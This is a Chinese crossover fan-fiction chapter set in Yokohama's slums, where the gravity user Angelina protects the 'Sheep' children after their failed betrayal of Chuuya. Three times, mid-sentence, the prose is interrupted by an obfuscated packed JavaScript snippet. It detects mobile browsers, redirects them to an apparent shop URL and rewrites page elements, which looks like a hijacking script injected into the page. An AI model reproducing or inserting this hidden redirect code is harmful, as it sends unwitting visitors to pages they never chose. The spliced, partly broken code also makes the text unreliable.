《安洁莉娜也是重力使!》 1. 失败的反叛 又是,一个新的世界。 难道我每一次死去,都会穿越吗?那我还会有死的那一天吗? 不对,现在不是说这种话的时候……我得先在这个新世界活下去才行。 【安洁莉娜手记】NO.1 镭钵街晴 - 刚开始是很顺利的。 中也的行踪很好查,他一直跟在港口黑手党屁股后面转,甚至这个海滨墓地里埋的也是个港口黑手党——中也还记得是‘羊’收留了无处可去的他吗?! 恐怕早就忘了吧。白濑冷笑着,潜伏在树林中,握紧了揣在怀里的小刀。 上面涂了老鼠药,为了防止中也绝地反击,他可是做了很多准备的。 “听见我的指示你们再出来。”他压低了声音对一旁GSS的领队道,见对方没什么反应,他强调似的重复了一遍,“一定要听我的指示,知道了吗?那家伙的异能力可是很麻烦的。” 穿着迷彩作战服的佣兵敷衍地比了个手势。 白濑有些不满。他还想说什么,但中也已经往这边走了。 只好压下嘴边的话,他扬着笑脸从树林中走出去:“你在这里啊,正找你呢中也。” “白濑……”中也看起来很意外,“找我有事吗?” 就是这种高高在上的态度最讨厌了。 “我想找你道个歉。”白濑耸了耸肩,“之前不是吵架了吗?在游戏厅那里。后来我也反省了一下,我们不能为了自己方便就妨碍你——那时候你无论如何都想抓住犯人吧?但我们却说‘为组织复仇是最优先的’……你是对的。太依赖你没去想其他办法,是我们不好。” 早就准备好的说辞很自然地从嘴边流出,白濑笑起来,用一种自以为演技很好的蛊惑语气说:“通过这次事,我们清楚地意识到‘羊’的问题究竟在哪里。然后大家商量了一下,想好了解决办法,你能听听吗?” 中也一副无所适从的模样。 “是吗。”他手揣在兜里,看起来不太习惯这样的谈话,掩饰表情一般径直往前走,“不过,如果你们决定了的话我会听的。”他背对着白濑,轻轻松了一口气,迈着闲散的步伐走在山崖边的小路上。“我也在这次的事件里大闹一场累惨了,正好能好好休息一下呢……边走边说吧,是什么办法?” 白濑悄无声息地抽出藏在袖子里的小刀。 中也还无知无觉地走在前面。 很好,就是这样。白濑欺身上前,非常顺利地将涂了毒药的短刀捅进对方的后背,一点阻碍都没有。 “在松懈的时候,从视线范围外攻击,这样一来你就没空使用重力了。”他虚伪地笑着,亲切地说,“对吧?中也,我知道得很清楚哦。毕竟相处了很长时间嘛。” 中也踉跄着跌倒,想要撑着手站起来。但显然毒药已经开始起作用了,根本使不上力气。 “你打算……干什么……” “还是不要动得太厉害比较好哦,刀上涂了老鼠药呢。”白濑说,“手脚会暂时麻痹,无法正常动起来。” “真可怜。要是你没有这么强,明明不用受这种苦就能解脱的。” 中也咬着牙,伸手护住背后。强大的异能力使他很少受伤,因此一旦受伤,疼痛对他造成的削弱比想象中更明显。更何况刀上还有老鼠药,虽然并不是多么烈性的毒,但进入血液起效后还是很痛苦的。 “怎么、回事……”他勉强回过头,用愤怒的目光瞪着白濑。 白濑得意地笑着。 一切都顺利得不可思议。那样强大的中也现在也只能跪地求饶罢了,然而他是不会心软留下任何隐患的。“是这样。”他打了个响指,于是GSS的佣兵们从躲藏的树林间涌出来,呈半圆形将中也包围起来,后面是山崖,底下是与青空相接的无垠大海,中也选了个很好的埋骨之地呢。 “这就是我们的决定哦……‘羊’要和‘GSS’联手。” 话音刚落,持枪的未成年们走出来。都是“羊”的成员,十三个成员的“评议会”中除掉中也,有三分之二都对他联合GSS的提案投出了赞成票,原本投反对票的人也都默默更改了决定选择了弃权。 “都是你的错,中也。”白濑维持着笑容,“通过这次的事件,大家都意识到了。‘如果下次,中也真的打算投靠黑手党的话,该怎么办?’——谁都能想象到,如果发生这样的事情,现在的‘羊’将毫无办法。大家都会被杀掉的吧,我们一直很依赖中也强大的异能力。但我们不可能将几十个同伴的性命都交给某一个人的心情决定。” “这种就叫做‘脆弱性’。就像是从小洞里入侵的洪水最终会毁灭要塞一样,组织的脆弱性。”白濑等待着毒素扩散,好心地将事情的原委讲给他听,“虽然用词很难懂,但中也应该能明白吧。” 中也面色苍白,汗水布满额头:“混蛋……我、怎么可能、背叛组织……” 不,完全不懂呢。白濑居高临下地看着他,怜悯地想。这和中也会不会背叛根本没有关系,所谓的“脆弱性”就已经够说明问题了。 但他并不打算多解释。 “在这方面,GSS并不会因为一时兴起就改变态度,只要还有利益交换就能够信赖。要与港口黑手党那样强大的敌人对立,这么做才是明智之举。” 原本对“杀掉中也”还存有疑虑的的同伴们,在听过他的说明后都明智地选择了正确的一方,评议会也因此通过了这项提案。这是可以预想的结果,镭钵街出身的孩子当然不可能讲求温情,心慈手软的家伙根本活不到现在。事实证明,他是对的。 “是这样啊……”中也喘着粗气,脸上出现一种悲哀的表情,“我做的、一切……全都是、添麻烦……吗……” “我们还是很感谢你的,中也。”白濑拔出枪指着他,自觉客观地说,“是‘羊’接纳了无依无靠的你。但这份恩情,你已经还得够多了。因此中也……你就休息吧。” 在以死为“羊”作出最后的贡献之后。 他扣下保险栓,抬了抬下巴,发出指示:“杀了他。” 无数的枪口一同开火。 一切都十分顺利。毒素削弱了中也的力气、意识、异能力,GSS的联手保障了火力的压制,而且还是在这样毫无退路的山崖上,中也不可能活下来——明明应该是这样的。 但接下来的剧情并没有如他所愿地发展。 在熟悉的红光亮起时,白濑心中便升起些许不妙的预感。果然,下一秒,承受重压的山崖便在重力和子弹的作用下垮塌下去,红发的重力使也顺着滑坡向下坠落,数秒之间便没了踪影。 可恶,即使是这种情况也能逃脱吗?! 白濑恨恨地磨牙,对那强悍异常的异能力心生嫉妒。“他逃到山崖下去了!”他指挥着GSS的佣兵和“羊的”同伴们往通往山崖下的路径赶去,“虽说毒素削弱了他的异能力,但这种高度是死不了的!快追!要保证杀了他! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042441|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 山崖的高度足有十几米,他们这种没有异能力的普通人跳下去只会摔死。 为了防止中也原路爬上来,他还留了几个人守在坑洞旁,时不时用机枪扫射。 可恶!可恶可恶可恶!! 白濑加快脚步,跟在佣兵后面追上去。他知道中也的异能力有多么强大,所以决不能让他逃走,如果之后被报复……白濑打了个寒颤。 没关系,老鼠药已经开始起作用了,中也是逃不掉的。 异变就是在此刻发生的。 通往崖底的树林中突然涌出一群身穿黑衣的武装人员,一句多余的话都不说,子弹毫不犹豫地射出,地上瞬间多出几具尸体。 GSS引以为傲的佣兵武装,在这群黑夜恐怖代名词的死神面前,如同脆弱的纸张一样不堪一击。 “怎么回事……!”白濑张大嘴巴,惊惶地看着一具具身体倒下,“喂,这些人究竟是——” 像是被掐住脖子的鸭子,他的话在看见【那个人】时戛然而止。 那个绑着绷带的少年,在游戏厅一个电话就释放了“羊”的同伴的人,他、他是—— “港口黑手党。”打了结的舌头终于吐露出恐惧,白濑跌坐在地,挪动着不听使唤的腿往后退,“果然,中也早就投靠了港口黑手党,他早就背叛了我们!!” 绑着绷带的黑衣少年露出无趣的表情。 “羊”的同伴们也倒下了许多,无声无息地躺在血泊之中,看不出生死。 “快逃!”他竭尽全力地大声喊道,惊慌无措的少年们都奔跑起来,几乎都忘了手里的武器。即使想起来,恐怕也颤抖着打不出一颗子弹吧。对面可是港口黑手党啊…… 连GSS的佣兵都无法对抗,没有重力的“羊”又能作出什么反抗呢? 白濑手脚并用地爬起来。 快逃、快逃——不可能赢的!只有逃走,只有逃出去才有可能—— 他们冲向树林,像是一群孱弱的羔羊奔向未知的远方,但不能回头,一旦被抓住,等待他们的命运只有无情的宰割。 ——树林中猛然出现一片耀眼的红色。 是一名少女。 前几天突然闯入“羊”的据点,看起来和中也差不多大,偷了柚杏的衣服被抓住,表情也呆呆傻傻的,问什么都像木头人一样不说话。当时剿灭中也的计划正是最关键的时候,他本来想把人赶出去,中也却一句话制止了他。 “‘羊’一开始就是为了保护未成年才创立的吧。”一无所知的中也语气轻松地说,“……看她什么都不懂的样子,应该不是敌人。” 于是“羊”暂且收留了她,她像蘑菇一样在角落里不吃不喝不睡觉不说话待了三天。 然而今天早上,她就不见了。 白濑并没有多在意。镭钵街这样的人不少,蹭吃蹭喝一番,然后偷了东西就走,只有中也那种滥好心才会上当。好在她本来也没消耗什么食物,也没有物资失窃,只有柚杏损失了一套衣服。他安慰对方今天之后就能得到GSS的援助,衣服只不过是九牛一毛罢了。 然而消失的少女如今突兀地出现在这片树林中,表情很惊讶。 望着那灼目的红色,白濑张了张嘴,嘶哑的喉咙中说不出一句话。 然而背后响起一阵枪声,如同死神的脚步逼近。 “救救我——” 他像是抓住最后的救命稻草,大声地呼喊着:“救救我们!!” 2. 披着羊皮 太宰治微笑着走到山崖底。 中原中也看起来已经快疼得麻木了,扩散的老鼠药使他的意识开始模糊。 “逃走了呢。有十四个人,包括领头的那个少年,是叫白濑对吧?”他走到中原中也旁边蹲下来,语气听不出喜怒,“看来中也你的敌人很多呢,有什么头绪吗?” “哈,看来你也算错了啊。”说不上究竟是庆幸还是失落,中原中也扯了扯嘴角,冷汗从额角滑落,“最大的敌人……不就是港口黑手党吗。” “不对不对,中也现在也是港口黑手党哦,而且还是我、的、狗。” “闭嘴啊混蛋!”中原中也毫不犹豫地呛回去,然而牵扯到伤口“嘶”了一声,“要说敌人的话,也只有港口黑手党了……其他人什么时候得罪了我也不知道啊,你就算问我也没用。” 太宰治用食指轻点下巴。 “‘羊’只有中也一个异能力者,这点是确定的吧。” “啊?废话……不然白濑那家伙也不会说什么‘组织的脆弱性了’。” “最近有新加入的成员吗?” “喂……你什么意思?”中原中也皱起眉,在得到对方“就是你想的那个意思”的眼神后,他沉默地思索了一会儿。 “不会吧……那家伙是异能力者?”他睁大眼睛,似乎是想起了什么,“大概是三天前,有个少女来到了‘羊’。” 在太宰治眯起的目光中,他不确定地说:“如果我没记错的话,名字是叫……‘安’?” - 安洁莉娜正带着一群半大的少年们穿梭在树林之间。 小羊羔们正不可思议地感觉身体变轻,一步能迈出平常两三步的距离。但当下的状况容不得他们多想,因为死神的镰刀还追逐在身后,不知什么时候落下。 眼看着马上就要出树林了,离开这片天然的保护罩,接下来的路需要更明确方向才行。于是安洁莉娜急忙问:“要去哪?” 白濑愣愣地闷头向前冲,好像没听见。 安洁莉娜带着他们转了个方向,朝着不易被发现的密林深处跑去,然后停了下来。 小羊羔们不知道发生了什么,一时间慌了神:“怎么停下来了?” “是、是港口黑手党追上来了吗?” “我们要死了吗……我不要死……” “冷静点!”安洁莉娜提高声音,“没有人追上来。” 她的目光扫过神色不一的少年,镇定而平静的表情好似一针强心剂,把躁动的场面压了下去。 “我们不能在树林里久留,一旦被包围,就只有死路一条。”她强调道,“所以我们接下来要去哪?到底发生了什么?” ——天知道安洁莉娜现在有多迷惑。 三天前,本该丧生在海嗣潮中的她突然出现在一个巨大坑洞的上空。重力带着她下坠,来到一个没有源石、没有矿石病、没有海嗣,却有异能力的全新世界。 也没有沃尔珀,没有长着耳朵尾巴的各种族泰拉人。 从这个时候开始,意识就不清醒了。安洁莉娜只记得她在浑浑噩噩游荡时,意外闯入了一群少年的据点,被当成了同龄的未成年收留了。 ……矿石病消失了,身体也回到了15岁。 从混乱而痛苦的长梦中清醒时,正是深夜,圆月高悬在夜空中,一如她来时的皎洁。 无论底下的土地如何变幻,只有高悬的明月和烈日依旧。 安洁莉娜摸了摸头上,沃尔珀的两只尖耳朵被隐藏在发带之下,尾巴也被好好地安放在床单围成的长裙中。从这三天模糊的记忆中看来,似乎并没有人发现她非人的种族特征。 她裹紧从另一个世界带来的红色长外套。身体回到15岁,从泰拉带来的东西却没有变化,原本长到小腿肚的外套穿上正好拖地,袖子也有些累赘,但有重力帮忙,并不怎么担心会弄脏。 身为重力使,切实落在地上的时候并不多。 秘杖还握在手中。即使是神智最混乱的时候,她也没有放开过这根代表着力量和安全的法杖。 源石技艺的红光微亮,安洁莉娜脚尖轻点,悄无声息地从窗户溜出,没有惊动任何人。 ……无论如何,要先在这个世界活下去才行,为此她需要知道更多的情报。 安洁莉娜疾速掠过这座城市的上空,利用鸟瞰的优势将地图牢牢刻在记忆中。站在抗击海嗣的前线之前,她当了十多年的信使,曾无数次在荒野和移动城市的大楼间穿梭。 只需要看过一遍,她就能将地形记在脑海中,再也不会迷路。 嗯……是一座港口海滨城市呢。 目前对大海无甚好感的安洁莉娜努力控制自己的视线,尽量不去眺望夜色下无垠又暗涌的海潮,将注意力放在这座城市中。 ……所以为什么这里会有这么大一个坑? 安洁莉娜悬浮在镭钵街的上空,十分困惑。目测这个深坑的直径约有两千米,深度没有那么夸张,但至少也有上百米。坑中密布着棚屋,隐约能看见暴露在外的各式管道线路,是非常典型的贫民窟建筑样貌。 令人能大致猜出这片大地上曾发生过什么巨变。 贫民窟的地形复杂,巷道交错。安洁莉娜多走了两遍,耽搁了些时间,等回到那些少年们的居处时,天已经亮了。 ——然而偌大的据点此时空无一人。 安洁莉娜:? 她敏锐地察觉到不对。能在贫民窟建立起大型据点的少年们显然有些本事,但因此也更加招眼才对,结果现在却倾巢而出,连个守门的人都没有。 安洁莉娜:?? 难道不怕被偷家吗? ——并不知道“羊”是惟一反击主义的安洁莉娜再一次感到困惑。 “一旦招惹必将百倍奉还”,建立在“羊”首领中原中也极其强大的异能力的基础之上,使得“羊”虽然只是由一群未成年构成的自卫组织,却能够在混乱的镭钵街立足,几乎无人招惹,连据点无人看守都不会招致袭击。 因为没有人敢承受“羊之王”的愤怒。 不过从今天开始,这条霸道的信条将不复存在,以此为前提的“羊”也会覆灭。因为毫无自知之明的小羊们联合了外部,要将他们本该敬奉的“羊之王”剿灭。 这似乎是一场壮士断腕、不破不立的反叛革命。但显然领导这场革命的领袖徒有野心,既缺乏手腕和胸怀,还看错了局势,因此被虎视眈眈的豺狼拆吃撕碎掉——也是可以预料的结局。 不过这都是后话了。 安洁莉娜并不知道她赶上了一场失败的围剿。 她检查了据点中的物品:食物、生活用品都被留下来,武器则空了两个箱子。安洁莉娜看着那一箱一箱陈列的子弹和枪械,对这个贫民窟的混乱有了一个更加清晰的认知。 那是枪吧?是吧??无论是在上上辈子的现代社会、还是上辈子的泰拉世界都几乎只看见过图片的安洁莉娜晕乎乎地想道。 不是萨科塔们常拿在手中的铳械,而是代表了现代工业发展的枪。 ……不过没有纂刻源石技艺的普通子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042442|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹,应该对她没什么伤害吧。毕竟泰拉人的身体强度可不是人类能比的——不然枪械早就流行起来了,泰拉可不是什么和平的地方。而能造成有效伤害的蚀刻子弹造价昂贵且性价比低,安洁莉娜很少见到有人用。 而且作为以源石技艺见长的术师,她的训练中甚至没有“射击”这一项。 这些孩子真的很了不得……安洁莉娜默默合上武器箱子。 不过他们似乎没怎么掩饰行踪。她顺着少年们一路的痕迹追踪到一片临海的山崖上,浓重的硝烟味道掩盖了大海的潮腥,头晕目眩和胸闷的不良反应终于缓和下来。 她没能赶上最“精彩”的地方。 只听见一阵令人心悸的枪响,哭喊和混乱的脚步声交杂在一起。安洁莉娜刚走到树林边缘,就看见十几个少年屁滚尿流地逃过来。 血腥味混着海风隐隐飘来。 “救救我!”为首的银发少年哭喊着,“救救我们!” 安洁莉娜:??? …… 穿着黑衣、手上还拿着危险武器的大人,四处奔逃、六神无主的少年们,地上倒着佣兵的尸体和生死不明的孩子。 怎么看都是一目了然的局面。 来不及多想,安洁莉娜举起秘杖,将密密麻麻的子弹用重力阻拦——泛着红光的弹雨仿佛撞上了什么屏障,悬停在半空中,一寸不得前进。 无声的威胁。 这一手“炫技”似的力量展现似乎镇住了那些持枪的西装暴徒,场面一时僵持着。 安洁莉娜毫不畏缩地站在树林前,平静地与他们对峙。 “不准动!” 黑西装劫持了一位脸上绑着绷带的少年,枪抵在对方的额头上,手有些抖,不知道是不是被这拦停的弹雨给吓懵了,“否则、否则……我就杀了他!” 安洁莉娜一顿。 ……似乎没有见过他。安洁莉娜打量着同样身着西装的绷带少年,目光在他孱弱的面颊上划过。但她来到这里之后的记忆一直模模糊糊的,像糊了一层磨砂玻璃似的;况且“羊”的人不少,她无法确定那群少年之中是否真的有这么一号人。 那名黑发的绷带少年被勒住脖子,呼吸都有些困难。他的手扒在劫持他的黑西装手臂上,努力挣扎出些许空间。能听见他气若游丝的声音:“快……逃。” 有什么念头从脑海中闪过,安洁莉娜没能抓住。她抿了抿唇,还是把子弹调整方向,将它们的落点选在了那群黑西装的脚下。 “砰砰砰——” 子弹没入土地发出沉闷的声音,弹坑连成一条笔直的线,以红发的少女为分界,划出不可逾越的警戒线。 立入禁止。 与此同时急掠而过的,还有火红如箭的身影。 秘杖往那黑西装的手腕上一击,要把骨头都击碎的重量顺利打偏持枪的手腕。安洁莉娜旋身一记飞踢,在空中划出一个漂亮的弧线,毫不犹豫地踹在对方的下巴上。 她没用源石技艺,甚至卸了大半的力道。泰拉人的身体力量和地球人不是一个量级,安洁莉娜怕直接把人的脑袋踢掉。 饶是如此,颌骨碎裂的声音也无比清晰。 其他持枪人的子弹毫不留情地射出,毫不顾忌人质的安全。 安洁莉娜不闪不避,将那少年捞过来护在身后,准备用重力将火力弹回去。 ——然而,源石技艺突然失效了。 安洁莉娜瞳孔微缩。 背后是少年轻笑的声音,微凉的手搭在她的肩膀上:“抓到你了。” 3. 豺狼 那一瞬间,安洁莉娜的脑子其实是空白的。 诶?居然是敌人吗?但一点敌意和杀意都没感觉到……不然她也不会在明知怪异的情况下依旧选择了救人。 第二反应是——这也是异能力吗?像拉普兰德小姐那样的【沉默】特性? 尽管同为叙拉古出身,但安洁莉娜和明显“家族”出身的鲁珀小姐并没有多少交集,对她的印象更多停留在游戏中凭借【天赋】跻身“必练五星”行列的强力干员。 ……是的,游戏。 泰拉世界是一款名为《明〇方舟》的二次元塔防游戏的背景世界观。 在意外死亡后,她成为了游戏中的角色,成为了在叙拉古长大的安心院安洁莉娜——听起来好像能阻止很多悲剧的发生,然而知晓未来并没有多少用处。因为《明〇方舟》并不是个只有单一剧情线的少年漫,而是以整个泰拉世界为蓝图叙事,且涉及许多国家层面的争斗和计算,出身普通家庭的安洁莉娜根本无从插手。 并且由于角色档案模糊,她甚至没能避开高中时的意外,依旧感染了矿石病。 同时也没能避免伊比利亚的海岸线上名为“海嗣”的恐怖怪物爬上这片大地,没能阻止【伊莎玛拉】暴走引发的“大静谧”,没能阻止自己和万亿人的死亡。 在真正席卷一切的天灾面前,个人的力量是多么渺小。 这都是很长的故事了,但现在并不是坐下来听故事的好时机。 安洁莉娜正面临着有些棘手的局面。 源石技艺突然失效,面前是数枚弹雨,身后是伪装成受害者的敌人——大概是敌人?她到现在都没搞清楚到底发生了什么。 要把背后的少年让出来挡弹吗?尽管无法使用源石技艺,这样的闪避也并非做不到。干脆让他自食恶果尝尝。 “叮!” 秘杖和弹头碰撞出牙酸的声音。 没有丝毫犹豫,安洁莉娜一手抓住身后的少年放倒在地避开流弹,一手将秘杖高速旋转挡在身前,听见腕骨不堪重负地发出“咔嚓”的声音。但好在效果十分明显——在重达几十斤的秘杖面前,这种小口径的子弹造成的冲击力根本不值一提。 击飞出去的流弹似乎击中了人,但在源石技艺无法使用的情况下,安洁莉娜只能尽量控制不往密集的地方和人的要害打去。 目前情况还不明,她不想在一无所知的情况下就沾上人的性命。 “你是想自杀吗?!”在黑西装陷入混乱时,她抓住少年的衣领把他揪起来,咬牙怒斥道,“你把生命当什么了啊!” 但凡她刚刚犹豫一下、把他当成挡箭牌,或是有一颗子弹漏掉打中,以这脆弱的人类之躯很有可能会当场毙命,再不济也会受伤流血;而且这些黑西装和他是一伙的吧,但凡以前训练时偷懒了一点,这些人都有可能在她的反击下死亡。 不远处的地上还躺了许多人的尸体。 这个少年,无论是对自己的、还是他人的生命,都抱着一种漠视的态度。 而这些开枪的人,似乎也完全没有因为顾忌同伴而手下留情。 ……完全是一群恐怖分子。 安洁莉娜毫不掩饰自己的怒火。 “……啊,我确实想自杀呢。”然而少年这么说道,露出一种即将与死亡相拥的迷醉表情,然后又迅速转变为无趣,“但托你的福,被阻止了。” “……” 安洁莉娜深深地看了他一眼。 她似乎想说什么,然而最终还是将话咽了下去。 “别追上来。”她扫过这群持械的西装暴徒,扔下这句冰冷的警告,然后松开少年的衣领,疾速向后退去。 松开那少年之后,源石技艺又能使用了——是依靠接触才能产生作用的【沉默】类型异能力吗? 少女鲜红的背影隐没在树林之中。 绷带少年——太宰治从地上爬起来,毫不在意地拍了拍身上的草屑。 “不用追了,你们追不上的。”他轻描淡写地说,“毕竟对手可是‘重力使’啊。” 似乎每一次和重力使的相遇,都逃不过被抡到地上的命运。 不过身高是重力使的共性吗。 一想到山崖下中毒重伤的中原中也,太宰治不太美妙的心情又好了起来。“小矮子重力使~哦哦~重力使是小矮子~”他哼着七拐八拐的调,蹦蹦跳跳地朝山崖下走去。 - 安洁莉娜并不知道她走后有人在编排什么。 如果她知道,高低得补上一拳。 奔散的小羊们还没跑远,安洁莉娜轻而易举地追了上去。 虽然估计那些黑西装并不会追上来,但她还是减轻了少年们的重力,将距离拉开。 但现在最关键的问题是——到底发生了什么? 问也不说话,就一个劲儿跑。 安洁莉娜强硬地停下这个盲目的队伍:“我需要知道事情的经过。那些人是谁?发生了什么?你们又在这里做什么?接下来要去哪?如果没有准确的情报,之后依旧是死路!” 白濑一个激灵。 “那些人……那些人是港口黑手党。”他颤抖着嘴唇,牙齿颤栗地上下摩擦,“中也他……背叛了‘羊’,背叛我们加入了港口黑手党,同伴们都被杀了!” 安洁莉娜皱了皱眉。 “那你们呢?为什么又在这里?” 然而白濑好像终于冷静了下来,捡起了警惕心:“……你是谁?潜入‘羊’是为了什么?帮我们的目的是什么?” “啊!你、你是那个……”粉色长发的少女这才认出她,“是你偷了我的衣服!你不是……脑子有问题吗?” 问什么话都不回答,就直愣愣地盯着前面;还死命抓着手里的棍子和外套不放手,谁碰打谁,赶也赶不走;不吃不喝,晚上也不睡觉,就一直睁着眼睛……怪渗人的。 要不是中也,早就把她赶出去了。 居然是可以普通说话的吗? 救人和被救的角色在此刻对调,柚杏有些讪讪。 “……”没和她多计较,安洁莉娜无声叹了口气,“总之,除了原来的据点,你们还有别的地方能去吗?” 一片沉默。 好的,看来是没地方去了。 然而白濑咬了咬牙:“我知道有一个地方可以去。” 安洁莉娜提醒:“和‘羊’相关的地方都不行哦。” “我知道。”白濑别过头,“……和‘羊’没有关系,是我自己的地盘。” “……” 这信息量有点大。 安洁莉娜眨了眨眼,一锤定音:“我知道了,那就先回据点吧!” “哈?为什么啊?现在回据点不就是送上门吗……” “去你的‘私人房产’才是送上门啊。”安洁莉娜叹气,“放心吧,我刚刚出手帮你们,在那些黑衣服的人看来我们已经是一伙的了。暂且相信我吧,先回‘羊’的据点。” 小羊羔们面面相觑,十分犹疑。 “不过,现在的你们除了相信我,还有其他办法吗?” “……” - 安洁莉娜带着一群小孩回到了镭钵街。 当然不是一窝蜂全带回去,那也太扎眼了。再三保证不会有“港口黑手党”的人追上来之后,十四个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14042443|148920||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子——加上她十五个,三人一组分头回到了据点。 “在明天之前,这里都是安全的。”安洁莉娜指挥着他们收拾东西,并再三强调不能带走武器和财物,只能拿食物和必备的生活用品。书包在贫民窟是奢侈品,当然不可能有,于是每个人都扯了床单裹好要拿走的物资,难民似的背在肩上。 安洁莉娜在检查“羊”的账本。 与其说是账本,不如说是笔记。不仅格式不统一,资产的归类都一片混乱,更别说收支平衡。安洁莉娜翻了两页就觉得头疼,干脆合上不看了。 让接收这些资产的人去头疼吧。 仔细看才发现,最清楚明了的地方居然是据点中占了整面墙的白板。 磁铁上贴了名字,按照轮值顺序安排了每个人当天的职务和物资,最右边有个写满名字的表格,记录着类似于“贡献值”的东西。 ……多么朴素而混乱的管理,有点像以前上小学时候的加分排表。 “中原中也”四个字赫然在榜首。 “中原中也。” 安洁莉娜清晰地念出这个名字。 她回头看向惶然的少年们:“背叛了‘羊’的就是他吗?” 白濑冷着脸:“当然。” “为什么?”安洁莉娜问,“他在‘羊’的地位应该很高吧,为什么要背叛呢?” “……谁知道啊。”白濑讽笑道,“高高在上的异能力者大人的想法,我们普通人怎么知道呢。” 安洁莉娜望着那整墙的白板,没有说话。 天色渐渐晚了下来。 没有开火开灶,只拆了些饼干速食吃了。安洁莉娜看着他们用一个电热水壶烧好几遍水,杯子也是耐摔的不锈钢,有人吃着饼干眼泪突然就掉了下来,几个小孩抽泣着聚在一起小声说着话。 安洁莉娜假装没有听见。 无论哪个世界、哪个地方,贫民窟都是大同小异。 这些孩子能用得起电、还有电热水壶,已经是十分难得的情景了。 而且仔细一看,虽然有营养不良造成的瘦弱或肥胖,但没有生病的,看起来个个都精神饱满,甚至有精力小偷小摸地藏些手表、首饰一类的。 “这个不能带走哦。”安洁莉娜拿走那些被藏起来的财物,“我说了吧,只能带食物、衣服和必要的生活用品。” “为什么啊!”小孩儿看起来愤愤的样子,“留在这里只会便宜港口黑手党吧!” 安洁莉娜叹气。 “就是要留给他们。”她说,“只有给豺狼留下足够肥美的战利品,逃走的小羊羔才不会被放在眼里啊。” “……” “你以为我们为什么还能回来?因为我的力量暂时震慑了他们,所以默许我能‘分一杯羹’,这是交易。”安洁莉娜摩挲着秘杖,细心感受金属的纹理,“但也只是暂时的,等他们摸清楚我的底细,一定会迎来更加凶恶的撕咬。” “Mafia就是这样的存在。”她低声喃喃,“别看我这样,我也是在贫民窟生活过的。” 叙拉古可是Mafia的发源地。 在感染矿石病离开家后,她曾在叙拉古最混乱的巷道中生活过一段时间。 即使换了个世界,这些“规矩”大概都是共通的。毕竟无论在哪个世界、哪个国家,人性这种东西都大同小异。 ……反倒是这些孩子一副懵懂的样子,明明生活在贫民窟,却真的像被圈养的小羊羔一样,一看就被保护得很好。 安洁莉娜再次叹了口气。 “今晚我们要离开这里。”她站起来,望着窗外渐缺的明月,“豺狼的耐心可不多。” 4. 沃尔珀的报恩 我好像忘记了很多事情。 我应该不是今天才到这个世界来的,我有一点印象,有谁把我带了回去,应该就是这些孩子。但除此之外,就只有一些不太好的噩梦……我记得有一团火焰一直陪在我身边,散发出温暖又令人安心的光芒,所以我才能这么快清醒过来。 我想找到这个人,但在这之前得先把这些孩子的事情处理好才行。没想到竟然来到了一个mafia盛行的地方,幸好在叙拉古的日子我还记得,接下来只能走一步看一步了!首先要找到新的落脚地才行,不知道那个地方行不行? 【安洁莉娜手记】NO.2 中华街晴 - 夜晚是最好的保护色。 十多个小孩子无论走到哪都很显眼,更何况是年龄身高都参差不齐的小孩子。等天一亮,穿黑衣服的港口黑手党就会来接手“羊”的遗产,到时候“羊”覆灭的消息就会传遍镭钵街、甚至是整个横滨里世界,这些小羊羔们无疑是移动的靶子。 ——所以不能留在黑手党横行的地方。 首先军警肯定是不靠谱的——要是军警能靠谱,非法组织能这么猖獗? 她之前调查的时候在镭钵街附近发现了许多欧式建筑,其中不乏有各国的领事馆,因此大概能猜测出这个城市如此混乱的原因,港口黑手党肯定无法将手伸过来。 但去外国领事馆也不行,毕竟这群孩子又不是外国公民,领事馆没有庇护他们的理由。除非是做交易,但要是暴露些不该暴露的情报就麻烦了,和国际扯上关系未必是好事。 安洁莉娜牵着一个比她矮半个头的小女孩抵达中华街。 此时已是夜半,繁华的街道上只有零星几家店还开着。暖黄的灯光漏出来,还伴随着浓郁的火锅香味,闻这呛人的椒麻香,估计是正宗的川渝味道。 不大的小店里传来热闹的人声,全是说着各样方言的华人。 安洁莉娜不由得一笑。她找了找用汉字写成的门牌,在一扇约一米宽的卷帘门前按下门铃。在主人家应门之前,她转头叮嘱随行的小孩: “小花奈,一会儿要是有婆婆问你问题,就照实说。” “全部都照实说吗?” “嗯,全部。” 大半夜两个小女孩来敲门,看起来不怎么寻常。 安洁莉娜没有把秘杖拿在手上,而是放进匣中背在了身后。秘杖约有两米长,匣子当然比秘杖更大,背在一个15岁的少女身上,怎么看怎么怪。 然而屋主只是淡淡地瞥了她们两眼,用中文说:“上来吧。” 两人沿着狭窄的楼梯向上。 二楼是大约十平米的房间,没有榻榻米,一张小茶几摆在最中央,和沙发应该是一套,都是红棕木的。正对着沙发的是一个34寸的老式电视机,需要用天线接收信号的那种。 